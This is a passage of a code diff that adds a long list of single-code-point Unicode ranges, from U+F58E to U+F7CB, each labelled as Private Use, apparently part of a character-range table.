+ ["\uF58E", "\uF58E"], /* Private Use */
+ ["\uF58F", "\uF58F"], /* Private Use */
+ ["\uF590", "\uF590"], /* Private Use */
+ ["\uF591", "\uF591"], /* Private Use */
+ ["\uF592", "\uF592"], /* Private Use */
+ ["\uF593", "\uF593"], /* Private Use */
+ ["\uF594", "\uF594"], /* Private Use */
+ ["\uF595", "\uF595"], /* Private Use */
+ ["\uF596", "\uF596"], /* Private Use */
+ ["\uF597", "\uF597"], /* Private Use */
+ ["\uF598", "\uF598"], /* Private Use */
+ ["\uF599", "\uF599"], /* Private Use */
+ ["\uF59A", "\uF59A"], /* Private Use */
+ ["\uF59B", "\uF59B"], /* Private Use */
+ ["\uF59C", "\uF59C"], /* Private Use */
+ ["\uF59D", "\uF59D"], /* Private Use */
+ ["\uF59E", "\uF59E"], /* Private Use */
+ ["\uF59F", "\uF59F"], /* Private Use */
+ ["\uF5A0", "\uF5A0"], /* Private Use */
+ ["\uF5A1", "\uF5A1"], /* Private Use */
+ ["\uF5A2", "\uF5A2"], /* Private Use */
+ ["\uF5A3", "\uF5A3"], /* Private Use */
+ ["\uF5A4", "\uF5A4"], /* Private Use */
+ ["\uF5A5", "\uF5A5"], /* Private Use */
+ ["\uF5A6", "\uF5A6"], /* Private Use */
+ ["\uF5A7", "\uF5A7"], /* Private Use */
+ ["\uF5A8", "\uF5A8"], /* Private Use */
+ ["\uF5A9", "\uF5A9"], /* Private Use */
+ ["\uF5AA", "\uF5AA"], /* Private Use */
+ ["\uF5AB", "\uF5AB"], /* Private Use */
+ ["\uF5AC", "\uF5AC"], /* Private Use */
+ ["\uF5AD", "\uF5AD"], /* Private Use */
+ ["\uF5AE", "\uF5AE"], /* Private Use */
+ ["\uF5AF", "\uF5AF"], /* Private Use */
+ ["\uF5B0", "\uF5B0"], /* Private Use */
+ ["\uF5B1", "\uF5B1"], /* Private Use */
+ ["\uF5B2", "\uF5B2"], /* Private Use */
+ ["\uF5B3", "\uF5B3"], /* Private Use */
+ ["\uF5B4", "\uF5B4"], /* Private Use */
+ ["\uF5B5", "\uF5B5"], /* Private Use */
+ ["\uF5B6", "\uF5B6"], /* Private Use */
+ ["\uF5B7", "\uF5B7"], /* Private Use */
+ ["\uF5B8", "\uF5B8"], /* Private Use */
+ ["\uF5B9", "\uF5B9"], /* Private Use */
+ ["\uF5BA", "\uF5BA"], /* Private Use */
+ ["\uF5BB", "\uF5BB"], /* Private Use */
+ ["\uF5BC", "\uF5BC"], /* Private Use */
+ ["\uF5BD", "\uF5BD"], /* Private Use */
+ ["\uF5BE", "\uF5BE"], /* Private Use */
+ ["\uF5BF", "\uF5BF"], /* Private Use */
+ ["\uF5C0", "\uF5C0"], /* Private Use */
+ ["\uF5C1", "\uF5C1"], /* Private Use */
+ ["\uF5C2", "\uF5C2"], /* Private Use */
+ ["\uF5C3", "\uF5C3"], /* Private Use */
+ ["\uF5C4", "\uF5C4"], /* Private Use */
+ ["\uF5C5", "\uF5C5"], /* Private Use */
+ ["\uF5C6", "\uF5C6"], /* Private Use */
+ ["\uF5C7", "\uF5C7"], /* Private Use */
+ ["\uF5C8", "\uF5C8"], /* Private Use */
+ ["\uF5C9", "\uF5C9"], /* Private Use */
+ ["\uF5CA", "\uF5CA"], /* Private Use */
+ ["\uF5CB", "\uF5CB"], /* Private Use */
+ ["\uF5CC", "\uF5CC"], /* Private Use */
+ ["\uF5CD", "\uF5CD"], /* Private Use */
+ ["\uF5CE", "\uF5CE"], /* Private Use */
+ ["\uF5CF", "\uF5CF"], /* Private Use */
+ ["\uF5D0", "\uF5D0"], /* Private Use */
+ ["\uF5D1", "\uF5D1"], /* Private Use */
+ ["\uF5D2", "\uF5D2"], /* Private Use */
+ ["\uF5D3", "\uF5D3"], /* Private Use */
+ ["\uF5D4", "\uF5D4"], /* Private Use */
+ ["\uF5D5", "\uF5D5"], /* Private Use */
+ ["\uF5D6", "\uF5D6"], /* Private Use */
+ ["\uF5D7", "\uF5D7"], /* Private Use */
+ ["\uF5D8", "\uF5D8"], /* Private Use */
+ ["\uF5D9", "\uF5D9"], /* Private Use */
+ ["\uF5DA", "\uF5DA"], /* Private Use */
+ ["\uF5DB", "\uF5DB"], /* Private Use */
+ ["\uF5DC", "\uF5DC"], /* Private Use */
+ ["\uF5DD", "\uF5DD"], /* Private Use */
+ ["\uF5DE", "\uF5DE"], /* Private Use */
+ ["\uF5DF", "\uF5DF"], /* Private Use */
+ ["\uF5E0", "\uF5E0"], /* Private Use */
+ ["\uF5E1", "\uF5E1"], /* Private Use */
+ ["\uF5E2", "\uF5E2"], /* Private Use */
+ ["\uF5E3", "\uF5E3"], /* Private Use */
+ ["\uF5E4", "\uF5E4"], /* Private Use */
+ ["\uF5E5", "\uF5E5"], /* Private Use */
+ ["\uF5E6", "\uF5E6"], /* Private Use */
+ ["\uF5E7", "\uF5E7"], /* Private Use */
+ ["\uF5E8", "\uF5E8"], /* Private Use */
+ ["\uF5E9", "\uF5E9"], /* Private Use */
+ ["\uF5EA", "\uF5EA"], /* Private Use */
+ ["\uF5EB", "\uF5EB"], /* Private Use */
+ ["\uF5EC", "\uF5EC"], /* Private Use */
+ ["\uF5ED", "\uF5ED"], /* Private Use */
+ ["\uF5EE", "\uF5EE"], /* Private Use */
+ ["\uF5EF", "\uF5EF"], /* Private Use */
+ ["\uF5F0", "\uF5F0"], /* Private Use */
+ ["\uF5F1", "\uF5F1"], /* Private Use */
+ ["\uF5F2", "\uF5F2"], /* Private Use */
+ ["\uF5F3", "\uF5F3"], /* Private Use */
+ ["\uF5F4", "\uF5F4"], /* Private Use */
+ ["\uF5F5", "\uF5F5"], /* Private Use */
+ ["\uF5F6", "\uF5F6"], /* Private Use */
+ ["\uF5F7", "\uF5F7"], /* Private Use */
+ ["\uF5F8", "\uF5F8"], /* Private Use */
+ ["\uF5F9", "\uF5F9"], /* Private Use */
+ ["\uF5FA", "\uF5FA"], /* Private Use */
+ ["\uF5FB", "\uF5FB"], /* Private Use */
+ ["\uF5FC", "\uF5FC"], /* Private Use */
+ ["\uF5FD", "\uF5FD"], /* Private Use */
+ ["\uF5FE", "\uF5FE"], /* Private Use */
+ ["\uF5FF", "\uF5FF"], /* Private Use */
+ ["\uF600", "\uF600"], /* Private Use */
+ ["\uF601", "\uF601"], /* Private Use */
+ ["\uF602", "\uF602"], /* Private Use */
+ ["\uF603", "\uF603"], /* Private Use */
+ ["\uF604", "\uF604"], /* Private Use */
+ ["\uF605", "\uF605"], /* Private Use */
+ ["\uF606", "\uF606"], /* Private Use */
+ ["\uF607", "\uF607"], /* Private Use */
+ ["\uF608", "\uF608"], /* Private Use */
+ ["\uF609", "\uF609"], /* Private Use */
+ ["\uF60A", "\uF60A"], /* Private Use */
+ ["\uF60B", "\uF60B"], /* Private Use */
+ ["\uF60C", "\uF60C"], /* Private Use */
+ ["\uF60D", "\uF60D"], /* Private Use */
+ ["\uF60E", "\uF60E"], /* Private Use */
+ ["\uF60F", "\uF60F"], /* Private Use */
+ ["\uF610", "\uF610"], /* Private Use */
+ ["\uF611", "\uF611"], /* Private Use */
+ ["\uF612", "\uF612"], /* Private Use */
+ ["\uF613", "\uF613"], /* Private Use */
+ ["\uF614", "\uF614"], /* Private Use */
+ ["\uF615", "\uF615"], /* Private Use */
+ ["\uF616", "\uF616"], /* Private Use */
+ ["\uF617", "\uF617"], /* Private Use */
+ ["\uF618", "\uF618"], /* Private Use */
+ ["\uF619", "\uF619"], /* Private Use */
+ ["\uF61A", "\uF61A"], /* Private Use */
+ ["\uF61B", "\uF61B"], /* Private Use */
+ ["\uF61C", "\uF61C"], /* Private Use */
+ ["\uF61D", "\uF61D"], /* Private Use */
+ ["\uF61E", "\uF61E"], /* Private Use */
+ ["\uF61F", "\uF61F"], /* Private Use */
+ ["\uF620", "\uF620"], /* Private Use */
+ ["\uF621", "\uF621"], /* Private Use */
+ ["\uF622", "\uF622"], /* Private Use */
+ ["\uF623", "\uF623"], /* Private Use */
+ ["\uF624", "\uF624"], /* Private Use */
+ ["\uF625", "\uF625"], /* Private Use */
+ ["\uF626", "\uF626"], /* Private Use */
+ ["\uF627", "\uF627"], /* Private Use */
+ ["\uF628", "\uF628"], /* Private Use */
+ ["\uF629", "\uF629"], /* Private Use */
+ ["\uF62A", "\uF62A"], /* Private Use */
+ ["\uF62B", "\uF62B"], /* Private Use */
+ ["\uF62C", "\uF62C"], /* Private Use */
+ ["\uF62D", "\uF62D"], /* Private Use */
+ ["\uF62E", "\uF62E"], /* Private Use */
+ ["\uF62F", "\uF62F"], /* Private Use */
+ ["\uF630", "\uF630"], /* Private Use */
+ ["\uF631", "\uF631"], /* Private Use */
+ ["\uF632", "\uF632"], /* Private Use */
+ ["\uF633", "\uF633"], /* Private Use */
+ ["\uF634", "\uF634"], /* Private Use */
+ ["\uF635", "\uF635"], /* Private Use */
+ ["\uF636", "\uF636"], /* Private Use */
+ ["\uF637", "\uF637"], /* Private Use */
+ ["\uF638", "\uF638"], /* Private Use */
+ ["\uF639", "\uF639"], /* Private Use */
+ ["\uF63A", "\uF63A"], /* Private Use */
+ ["\uF63B", "\uF63B"], /* Private Use */
+ ["\uF63C", "\uF63C"], /* Private Use */
+ ["\uF63D", "\uF63D"], /* Private Use */
+ ["\uF63E", "\uF63E"], /* Private Use */
+ ["\uF63F", "\uF63F"], /* Private Use */
+ ["\uF640", "\uF640"], /* Private Use */
+ ["\uF641", "\uF641"], /* Private Use */
+ ["\uF642", "\uF642"], /* Private Use */
+ ["\uF643", "\uF643"], /* Private Use */
+ ["\uF644", "\uF644"], /* Private Use */
+ ["\uF645", "\uF645"], /* Private Use */
+ ["\uF646", "\uF646"], /* Private Use */
+ ["\uF647", "\uF647"], /* Private Use */
+ ["\uF648", "\uF648"], /* Private Use */
+ ["\uF649", "\uF649"], /* Private Use */
+ ["\uF64A", "\uF64A"], /* Private Use */
+ ["\uF64B", "\uF64B"], /* Private Use */
+ ["\uF64C", "\uF64C"], /* Private Use */
+ ["\uF64D", "\uF64D"], /* Private Use */
+ ["\uF64E", "\uF64E"], /* Private Use */
+ ["\uF64F", "\uF64F"], /* Private Use */
+ ["\uF650", "\uF650"], /* Private Use */
+ ["\uF651", "\uF651"], /* Private Use */
+ ["\uF652", "\uF652"], /* Private Use */
+ ["\uF653", "\uF653"], /* Private Use */
+ ["\uF654", "\uF654"], /* Private Use */
+ ["\uF655", "\uF655"], /* Private Use */
+ ["\uF656", "\uF656"], /* Private Use */
+ ["\uF657", "\uF657"], /* Private Use */
+ ["\uF658", "\uF658"], /* Private Use */
+ ["\uF659", "\uF659"], /* Private Use */
+ ["\uF65A", "\uF65A"], /* Private Use */
+ ["\uF65B", "\uF65B"], /* Private Use */
+ ["\uF65C", "\uF65C"], /* Private Use */
+ ["\uF65D", "\uF65D"], /* Private Use */
+ ["\uF65E", "\uF65E"], /* Private Use */
+ ["\uF65F", "\uF65F"], /* Private Use */
+ ["\uF660", "\uF660"], /* Private Use */
+ ["\uF661", "\uF661"], /* Private Use */
+ ["\uF662", "\uF662"], /* Private Use */
+ ["\uF663", "\uF663"], /* Private Use */
+ ["\uF664", "\uF664"], /* Private Use */
+ ["\uF665", "\uF665"], /* Private Use */
+ ["\uF666", "\uF666"], /* Private Use */
+ ["\uF667", "\uF667"], /* Private Use */
+ ["\uF668", "\uF668"], /* Private Use */
+ ["\uF669", "\uF669"], /* Private Use */
+ ["\uF66A", "\uF66A"], /* Private Use */
+ ["\uF66B", "\uF66B"], /* Private Use */
+ ["\uF66C", "\uF66C"], /* Private Use */
+ ["\uF66D", "\uF66D"], /* Private Use */
+ ["\uF66E", "\uF66E"], /* Private Use */
+ ["\uF66F", "\uF66F"], /* Private Use */
+ ["\uF670", "\uF670"], /* Private Use */
+ ["\uF671", "\uF671"], /* Private Use */
+ ["\uF672", "\uF672"], /* Private Use */
+ ["\uF673", "\uF673"], /* Private Use */
+ ["\uF674", "\uF674"], /* Private Use */
+ ["\uF675", "\uF675"], /* Private Use */
+ ["\uF676", "\uF676"], /* Private Use */
+ ["\uF677", "\uF677"], /* Private Use */
+ ["\uF678", "\uF678"], /* Private Use */
+ ["\uF679", "\uF679"], /* Private Use */
+ ["\uF67A", "\uF67A"], /* Private Use */
+ ["\uF67B", "\uF67B"], /* Private Use */
+ ["\uF67C", "\uF67C"], /* Private Use */
+ ["\uF67D", "\uF67D"], /* Private Use */
+ ["\uF67E", "\uF67E"], /* Private Use */
+ ["\uF67F", "\uF67F"], /* Private Use */
+ ["\uF680", "\uF680"], /* Private Use */
+ ["\uF681", "\uF681"], /* Private Use */
+ ["\uF682", "\uF682"], /* Private Use */
+ ["\uF683", "\uF683"], /* Private Use */
+ ["\uF684", "\uF684"], /* Private Use */
+ ["\uF685", "\uF685"], /* Private Use */
+ ["\uF686", "\uF686"], /* Private Use */
+ ["\uF687", "\uF687"], /* Private Use */
+ ["\uF688", "\uF688"], /* Private Use */
+ ["\uF689", "\uF689"], /* Private Use */
+ ["\uF68A", "\uF68A"], /* Private Use */
+ ["\uF68B", "\uF68B"], /* Private Use */
+ ["\uF68C", "\uF68C"], /* Private Use */
+ ["\uF68D", "\uF68D"], /* Private Use */
+ ["\uF68E", "\uF68E"], /* Private Use */
+ ["\uF68F", "\uF68F"], /* Private Use */
+ ["\uF690", "\uF690"], /* Private Use */
+ ["\uF691", "\uF691"], /* Private Use */
+ ["\uF692", "\uF692"], /* Private Use */
+ ["\uF693", "\uF693"], /* Private Use */
+ ["\uF694", "\uF694"], /* Private Use */
+ ["\uF695", "\uF695"], /* Private Use */
+ ["\uF696", "\uF696"], /* Private Use */
+ ["\uF697", "\uF697"], /* Private Use */
+ ["\uF698", "\uF698"], /* Private Use */
+ ["\uF699", "\uF699"], /* Private Use */
+ ["\uF69A", "\uF69A"], /* Private Use */
+ ["\uF69B", "\uF69B"], /* Private Use */
+ ["\uF69C", "\uF69C"], /* Private Use */
+ ["\uF69D", "\uF69D"], /* Private Use */
+ ["\uF69E", "\uF69E"], /* Private Use */
+ ["\uF69F", "\uF69F"], /* Private Use */
+ ["\uF6A0", "\uF6A0"], /* Private Use */
+ ["\uF6A1", "\uF6A1"], /* Private Use */
+ ["\uF6A2", "\uF6A2"], /* Private Use */
+ ["\uF6A3", "\uF6A3"], /* Private Use */
+ ["\uF6A4", "\uF6A4"], /* Private Use */
+ ["\uF6A5", "\uF6A5"], /* Private Use */
+ ["\uF6A6", "\uF6A6"], /* Private Use */
+ ["\uF6A7", "\uF6A7"], /* Private Use */
+ ["\uF6A8", "\uF6A8"], /* Private Use */
+ ["\uF6A9", "\uF6A9"], /* Private Use */
+ ["\uF6AA", "\uF6AA"], /* Private Use */
+ ["\uF6AB", "\uF6AB"], /* Private Use */
+ ["\uF6AC", "\uF6AC"], /* Private Use */
+ ["\uF6AD", "\uF6AD"], /* Private Use */
+ ["\uF6AE", "\uF6AE"], /* Private Use */
+ ["\uF6AF", "\uF6AF"], /* Private Use */
+ ["\uF6B0", "\uF6B0"], /* Private Use */
+ ["\uF6B1", "\uF6B1"], /* Private Use */
+ ["\uF6B2", "\uF6B2"], /* Private Use */
+ ["\uF6B3", "\uF6B3"], /* Private Use */
+ ["\uF6B4", "\uF6B4"], /* Private Use */
+ ["\uF6B5", "\uF6B5"], /* Private Use */
+ ["\uF6B6", "\uF6B6"], /* Private Use */
+ ["\uF6B7", "\uF6B7"], /* Private Use */
+ ["\uF6B8", "\uF6B8"], /* Private Use */
+ ["\uF6B9", "\uF6B9"], /* Private Use */
+ ["\uF6BA", "\uF6BA"], /* Private Use */
+ ["\uF6BB", "\uF6BB"], /* Private Use */
+ ["\uF6BC", "\uF6BC"], /* Private Use */
+ ["\uF6BD", "\uF6BD"], /* Private Use */
+ ["\uF6BE", "\uF6BE"], /* Private Use */
+ ["\uF6BF", "\uF6BF"], /* Private Use */
+ ["\uF6C0", "\uF6C0"], /* Private Use */
+ ["\uF6C1", "\uF6C1"], /* Private Use */
+ ["\uF6C2", "\uF6C2"], /* Private Use */
+ ["\uF6C3", "\uF6C3"], /* Private Use */
+ ["\uF6C4", "\uF6C4"], /* Private Use */
+ ["\uF6C5", "\uF6C5"], /* Private Use */
+ ["\uF6C6", "\uF6C6"], /* Private Use */
+ ["\uF6C7", "\uF6C7"], /* Private Use */
+ ["\uF6C8", "\uF6C8"], /* Private Use */
+ ["\uF6C9", "\uF6C9"], /* Private Use */
+ ["\uF6CA", "\uF6CA"], /* Private Use */
+ ["\uF6CB", "\uF6CB"], /* Private Use */
+ ["\uF6CC", "\uF6CC"], /* Private Use */
+ ["\uF6CD", "\uF6CD"], /* Private Use */
+ ["\uF6CE", "\uF6CE"], /* Private Use */
+ ["\uF6CF", "\uF6CF"], /* Private Use */
+ ["\uF6D0", "\uF6D0"], /* Private Use */
+ ["\uF6D1", "\uF6D1"], /* Private Use */
+ ["\uF6D2", "\uF6D2"], /* Private Use */
+ ["\uF6D3", "\uF6D3"], /* Private Use */
+ ["\uF6D4", "\uF6D4"], /* Private Use */
+ ["\uF6D5", "\uF6D5"], /* Private Use */
+ ["\uF6D6", "\uF6D6"], /* Private Use */
+ ["\uF6D7", "\uF6D7"], /* Private Use */
+ ["\uF6D8", "\uF6D8"], /* Private Use */
+ ["\uF6D9", "\uF6D9"], /* Private Use */
+ ["\uF6DA", "\uF6DA"], /* Private Use */
+ ["\uF6DB", "\uF6DB"], /* Private Use */
+ ["\uF6DC", "\uF6DC"], /* Private Use */
+ ["\uF6DD", "\uF6DD"], /* Private Use */
+ ["\uF6DE", "\uF6DE"], /* Private Use */
+ ["\uF6DF", "\uF6DF"], /* Private Use */
+ ["\uF6E0", "\uF6E0"], /* Private Use */
+ ["\uF6E1", "\uF6E1"], /* Private Use */
+ ["\uF6E2", "\uF6E2"], /* Private Use */
+ ["\uF6E3", "\uF6E3"], /* Private Use */
+ ["\uF6E4", "\uF6E4"], /* Private Use */
+ ["\uF6E5", "\uF6E5"], /* Private Use */
+ ["\uF6E6", "\uF6E6"], /* Private Use */
+ ["\uF6E7", "\uF6E7"], /* Private Use */
+ ["\uF6E8", "\uF6E8"], /* Private Use */
+ ["\uF6E9", "\uF6E9"], /* Private Use */
+ ["\uF6EA", "\uF6EA"], /* Private Use */
+ ["\uF6EB", "\uF6EB"], /* Private Use */
+ ["\uF6EC", "\uF6EC"], /* Private Use */
+ ["\uF6ED", "\uF6ED"], /* Private Use */
+ ["\uF6EE", "\uF6EE"], /* Private Use */
+ ["\uF6EF", "\uF6EF"], /* Private Use */
+ ["\uF6F0", "\uF6F0"], /* Private Use */
+ ["\uF6F1", "\uF6F1"], /* Private Use */
+ ["\uF6F2", "\uF6F2"], /* Private Use */
+ ["\uF6F3", "\uF6F3"], /* Private Use */
+ ["\uF6F4", "\uF6F4"], /* Private Use */
+ ["\uF6F5", "\uF6F5"], /* Private Use */
+ ["\uF6F6", "\uF6F6"], /* Private Use */
+ ["\uF6F7", "\uF6F7"], /* Private Use */
+ ["\uF6F8", "\uF6F8"], /* Private Use */
+ ["\uF6F9", "\uF6F9"], /* Private Use */
+ ["\uF6FA", "\uF6FA"], /* Private Use */
+ ["\uF6FB", "\uF6FB"], /* Private Use */
+ ["\uF6FC", "\uF6FC"], /* Private Use */
+ ["\uF6FD", "\uF6FD"], /* Private Use */
+ ["\uF6FE", "\uF6FE"], /* Private Use */
+ ["\uF6FF", "\uF6FF"], /* Private Use */
+ ["\uF700", "\uF700"], /* Private Use */
+ ["\uF701", "\uF701"], /* Private Use */
+ ["\uF702", "\uF702"], /* Private Use */
+ ["\uF703", "\uF703"], /* Private Use */
+ ["\uF704", "\uF704"], /* Private Use */
+ ["\uF705", "\uF705"], /* Private Use */
+ ["\uF706", "\uF706"], /* Private Use */
+ ["\uF707", "\uF707"], /* Private Use */
+ ["\uF708", "\uF708"], /* Private Use */
+ ["\uF709", "\uF709"], /* Private Use */
+ ["\uF70A", "\uF70A"], /* Private Use */
+ ["\uF70B", "\uF70B"], /* Private Use */
+ ["\uF70C", "\uF70C"], /* Private Use */
+ ["\uF70D", "\uF70D"], /* Private Use */
+ ["\uF70E", "\uF70E"], /* Private Use */
+ ["\uF70F", "\uF70F"], /* Private Use */
+ ["\uF710", "\uF710"], /* Private Use */
+ ["\uF711", "\uF711"], /* Private Use */
+ ["\uF712", "\uF712"], /* Private Use */
+ ["\uF713", "\uF713"], /* Private Use */
+ ["\uF714", "\uF714"], /* Private Use */
+ ["\uF715", "\uF715"], /* Private Use */
+ ["\uF716", "\uF716"], /* Private Use */
+ ["\uF717", "\uF717"], /* Private Use */
+ ["\uF718", "\uF718"], /* Private Use */
+ ["\uF719", "\uF719"], /* Private Use */
+ ["\uF71A", "\uF71A"], /* Private Use */
+ ["\uF71B", "\uF71B"], /* Private Use */
+ ["\uF71C", "\uF71C"], /* Private Use */
+ ["\uF71D", "\uF71D"], /* Private Use */
+ ["\uF71E", "\uF71E"], /* Private Use */
+ ["\uF71F", "\uF71F"], /* Private Use */
+ ["\uF720", "\uF720"], /* Private Use */
+ ["\uF721", "\uF721"], /* Private Use */
+ ["\uF722", "\uF722"], /* Private Use */
+ ["\uF723", "\uF723"], /* Private Use */
+ ["\uF724", "\uF724"], /* Private Use */
+ ["\uF725", "\uF725"], /* Private Use */
+ ["\uF726", "\uF726"], /* Private Use */
+ ["\uF727", "\uF727"], /* Private Use */
+ ["\uF728", "\uF728"], /* Private Use */
+ ["\uF729", "\uF729"], /* Private Use */
+ ["\uF72A", "\uF72A"], /* Private Use */
+ ["\uF72B", "\uF72B"], /* Private Use */
+ ["\uF72C", "\uF72C"], /* Private Use */
+ ["\uF72D", "\uF72D"], /* Private Use */
+ ["\uF72E", "\uF72E"], /* Private Use */
+ ["\uF72F", "\uF72F"], /* Private Use */
+ ["\uF730", "\uF730"], /* Private Use */
+ ["\uF731", "\uF731"], /* Private Use */
+ ["\uF732", "\uF732"], /* Private Use */
+ ["\uF733", "\uF733"], /* Private Use */
+ ["\uF734", "\uF734"], /* Private Use */
+ ["\uF735", "\uF735"], /* Private Use */
+ ["\uF736", "\uF736"], /* Private Use */
+ ["\uF737", "\uF737"], /* Private Use */
+ ["\uF738", "\uF738"], /* Private Use */
+ ["\uF739", "\uF739"], /* Private Use */
+ ["\uF73A", "\uF73A"], /* Private Use */
+ ["\uF73B", "\uF73B"], /* Private Use */
+ ["\uF73C", "\uF73C"], /* Private Use */
+ ["\uF73D", "\uF73D"], /* Private Use */
+ ["\uF73E", "\uF73E"], /* Private Use */
+ ["\uF73F", "\uF73F"], /* Private Use */
+ ["\uF740", "\uF740"], /* Private Use */
+ ["\uF741", "\uF741"], /* Private Use */
+ ["\uF742", "\uF742"], /* Private Use */
+ ["\uF743", "\uF743"], /* Private Use */
+ ["\uF744", "\uF744"], /* Private Use */
+ ["\uF745", "\uF745"], /* Private Use */
+ ["\uF746", "\uF746"], /* Private Use */
+ ["\uF747", "\uF747"], /* Private Use */
+ ["\uF748", "\uF748"], /* Private Use */
+ ["\uF749", "\uF749"], /* Private Use */
+ ["\uF74A", "\uF74A"], /* Private Use */
+ ["\uF74B", "\uF74B"], /* Private Use */
+ ["\uF74C", "\uF74C"], /* Private Use */
+ ["\uF74D", "\uF74D"], /* Private Use */
+ ["\uF74E", "\uF74E"], /* Private Use */
+ ["\uF74F", "\uF74F"], /* Private Use */
+ ["\uF750", "\uF750"], /* Private Use */
+ ["\uF751", "\uF751"], /* Private Use */
+ ["\uF752", "\uF752"], /* Private Use */
+ ["\uF753", "\uF753"], /* Private Use */
+ ["\uF754", "\uF754"], /* Private Use */
+ ["\uF755", "\uF755"], /* Private Use */
+ ["\uF756", "\uF756"], /* Private Use */
+ ["\uF757", "\uF757"], /* Private Use */
+ ["\uF758", "\uF758"], /* Private Use */
+ ["\uF759", "\uF759"], /* Private Use */
+ ["\uF75A", "\uF75A"], /* Private Use */
+ ["\uF75B", "\uF75B"], /* Private Use */
+ ["\uF75C", "\uF75C"], /* Private Use */
+ ["\uF75D", "\uF75D"], /* Private Use */
+ ["\uF75E", "\uF75E"], /* Private Use */
+ ["\uF75F", "\uF75F"], /* Private Use */
+ ["\uF760", "\uF760"], /* Private Use */
+ ["\uF761", "\uF761"], /* Private Use */
+ ["\uF762", "\uF762"], /* Private Use */
+ ["\uF763", "\uF763"], /* Private Use */
+ ["\uF764", "\uF764"], /* Private Use */
+ ["\uF765", "\uF765"], /* Private Use */
+ ["\uF766", "\uF766"], /* Private Use */
+ ["\uF767", "\uF767"], /* Private Use */
+ ["\uF768", "\uF768"], /* Private Use */
+ ["\uF769", "\uF769"], /* Private Use */
+ ["\uF76A", "\uF76A"], /* Private Use */
+ ["\uF76B", "\uF76B"], /* Private Use */
+ ["\uF76C", "\uF76C"], /* Private Use */
+ ["\uF76D", "\uF76D"], /* Private Use */
+ ["\uF76E", "\uF76E"], /* Private Use */
+ ["\uF76F", "\uF76F"], /* Private Use */
+ ["\uF770", "\uF770"], /* Private Use */
+ ["\uF771", "\uF771"], /* Private Use */
+ ["\uF772", "\uF772"], /* Private Use */
+ ["\uF773", "\uF773"], /* Private Use */
+ ["\uF774", "\uF774"], /* Private Use */
+ ["\uF775", "\uF775"], /* Private Use */
+ ["\uF776", "\uF776"], /* Private Use */
+ ["\uF777", "\uF777"], /* Private Use */
+ ["\uF778", "\uF778"], /* Private Use */
+ ["\uF779", "\uF779"], /* Private Use */
+ ["\uF77A", "\uF77A"], /* Private Use */
+ ["\uF77B", "\uF77B"], /* Private Use */
+ ["\uF77C", "\uF77C"], /* Private Use */
+ ["\uF77D", "\uF77D"], /* Private Use */
+ ["\uF77E", "\uF77E"], /* Private Use */
+ ["\uF77F", "\uF77F"], /* Private Use */
+ ["\uF780", "\uF780"], /* Private Use */
+ ["\uF781", "\uF781"], /* Private Use */
+ ["\uF782", "\uF782"], /* Private Use */
+ ["\uF783", "\uF783"], /* Private Use */
+ ["\uF784", "\uF784"], /* Private Use */
+ ["\uF785", "\uF785"], /* Private Use */
+ ["\uF786", "\uF786"], /* Private Use */
+ ["\uF787", "\uF787"], /* Private Use */
+ ["\uF788", "\uF788"], /* Private Use */
+ ["\uF789", "\uF789"], /* Private Use */
+ ["\uF78A", "\uF78A"], /* Private Use */
+ ["\uF78B", "\uF78B"], /* Private Use */
+ ["\uF78C", "\uF78C"], /* Private Use */
+ ["\uF78D", "\uF78D"], /* Private Use */
+ ["\uF78E", "\uF78E"], /* Private Use */
+ ["\uF78F", "\uF78F"], /* Private Use */
+ ["\uF790", "\uF790"], /* Private Use */
+ ["\uF791", "\uF791"], /* Private Use */
+ ["\uF792", "\uF792"], /* Private Use */
+ ["\uF793", "\uF793"], /* Private Use */
+ ["\uF794", "\uF794"], /* Private Use */
+ ["\uF795", "\uF795"], /* Private Use */
+ ["\uF796", "\uF796"], /* Private Use */
+ ["\uF797", "\uF797"], /* Private Use */
+ ["\uF798", "\uF798"], /* Private Use */
+ ["\uF799", "\uF799"], /* Private Use */
+ ["\uF79A", "\uF79A"], /* Private Use */
+ ["\uF79B", "\uF79B"], /* Private Use */
+ ["\uF79C", "\uF79C"], /* Private Use */
+ ["\uF79D", "\uF79D"], /* Private Use */
+ ["\uF79E", "\uF79E"], /* Private Use */
+ ["\uF79F", "\uF79F"], /* Private Use */
+ ["\uF7A0", "\uF7A0"], /* Private Use */
+ ["\uF7A1", "\uF7A1"], /* Private Use */
+ ["\uF7A2", "\uF7A2"], /* Private Use */
+ ["\uF7A3", "\uF7A3"], /* Private Use */
+ ["\uF7A4", "\uF7A4"], /* Private Use */
+ ["\uF7A5", "\uF7A5"], /* Private Use */
+ ["\uF7A6", "\uF7A6"], /* Private Use */
+ ["\uF7A7", "\uF7A7"], /* Private Use */
+ ["\uF7A8", "\uF7A8"], /* Private Use */
+ ["\uF7A9", "\uF7A9"], /* Private Use */
+ ["\uF7AA", "\uF7AA"], /* Private Use */
+ ["\uF7AB", "\uF7AB"], /* Private Use */
+ ["\uF7AC", "\uF7AC"], /* Private Use */
+ ["\uF7AD", "\uF7AD"], /* Private Use */
+ ["\uF7AE", "\uF7AE"], /* Private Use */
+ ["\uF7AF", "\uF7AF"], /* Private Use */
+ ["\uF7B0", "\uF7B0"], /* Private Use */
+ ["\uF7B1", "\uF7B1"], /* Private Use */
+ ["\uF7B2", "\uF7B2"], /* Private Use */
+ ["\uF7B3", "\uF7B3"], /* Private Use */
+ ["\uF7B4", "\uF7B4"], /* Private Use */
+ ["\uF7B5", "\uF7B5"], /* Private Use */
+ ["\uF7B6", "\uF7B6"], /* Private Use */
+ ["\uF7B7", "\uF7B7"], /* Private Use */
+ ["\uF7B8", "\uF7B8"], /* Private Use */
+ ["\uF7B9", "\uF7B9"], /* Private Use */
+ ["\uF7BA", "\uF7BA"], /* Private Use */
+ ["\uF7BB", "\uF7BB"], /* Private Use */
+ ["\uF7BC", "\uF7BC"], /* Private Use */
+ ["\uF7BD", "\uF7BD"], /* Private Use */
+ ["\uF7BE", "\uF7BE"], /* Private Use */
+ ["\uF7BF", "\uF7BF"], /* Private Use */
+ ["\uF7C0", "\uF7C0"], /* Private Use */
+ ["\uF7C1", "\uF7C1"], /* Private Use */
+ ["\uF7C2", "\uF7C2"], /* Private Use */
+ ["\uF7C3", "\uF7C3"], /* Private Use */
+ ["\uF7C4", "\uF7C4"], /* Private Use */
+ ["\uF7C5", "\uF7C5"], /* Private Use */
+ ["\uF7C6", "\uF7C6"], /* Private Use */
+ ["\uF7C7", "\uF7C7"], /* Private Use */
+ ["\uF7C8", "\uF7C8"], /* Private Use */
+ ["\uF7C9", "\uF7C9"], /* Private Use */
+ ["\uF7CA", "\uF7CA"], /* Private Use */
+ ["\uF7CB", "\uF7CB"], /* Private Use */
